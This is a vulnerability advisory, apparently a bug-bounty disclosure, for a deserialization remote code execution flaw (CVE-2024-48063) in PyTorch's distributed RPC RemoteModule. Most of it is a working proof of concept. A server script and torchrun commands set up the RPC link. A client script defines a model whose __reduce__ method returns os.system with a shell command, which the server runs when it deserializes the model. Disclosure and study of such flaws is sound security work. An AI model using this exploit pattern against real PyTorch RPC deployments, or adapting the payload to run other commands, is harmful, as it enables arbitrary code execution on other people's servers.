PyTorch库RPC框架反序列化RCE漏洞(CVE-2024-48063)

**Distributed RPC Framework** ============================= `RemoteModule` **has Deserialization RCE in [pytorch/pytorch](https://github.com/pytorch/pytorch)** **Description** =============== credit：HRP Aftersnow gxh **Distributed RPC Framework** `RemoteModule` **has Deserialization RCE in [pytorch/pytorch](https://github.com/pytorch/pytorch)** **Proof of Concept** ==================== init environment export MASTER_ADDR=127.0.0.1 export MASTER_PORT=5000 export TP_SOCKET_IFNAME=ens18 export GLOO_SOCKET_IFNAME=ens18 the server code [ser.py](http://ser.py/) import torch import torch.distributed.rpc as rpc def run_server(): # Initialize server-side RPC rpc.init_rpc("server", rank=0, world_size=2) # Wait for the client's remote call rpc.shutdown() if __name__ == "__main__": run_server() exec this to run torchrun --nproc_per_node=1 --nnodes=2 --node_rank=0 --master_addr=127.0.0.1 --master_port=5000 ser.py **POC** ======= the client code and is exp [cli.py](http://cli.py/) import torch import torch.distributed.rpc as rpc from torch.distributed.nn.api.remote_module import RemoteModule import torch.nn as nn # Define a simple neural network model MyModel class MyModel(nn.Module): def __init__(self): super(MyModel, self).__init__() # A simple linear layer with input dimension 2 and output dimension 2 self.fc = nn.Linear(2, 2) # Define the forward method def __reduce__(self): return (__import__('os').system, ("id;ls",)) def run_client(): # Initialize client-side RPC rpc.init_rpc("client", rank=1, world_size=2) # Create a remote module to run the model on the server side remote_model = RemoteModule( "server", # Server-side device MyModel(), # Definition of the remote module's model args=() # Model initialization parameters ) # Remotely call the model with an input tensor input_tensor = torch.tensor([1.0, 2.0]) output = remote_model(input_tensor) print("Output from remote model:", output) # Shutdown RPC rpc.shutdown() if __name__ == "__main__": run_client() exec this to run torchrun --nproc_per_node=1 --nnodes=2 --node_rank=1 --master_addr=127.0.0.1 --master_port=5000 cli.py now we can see the output in server  **Impact** ========== Remote execution of arbitrary commands through deserialization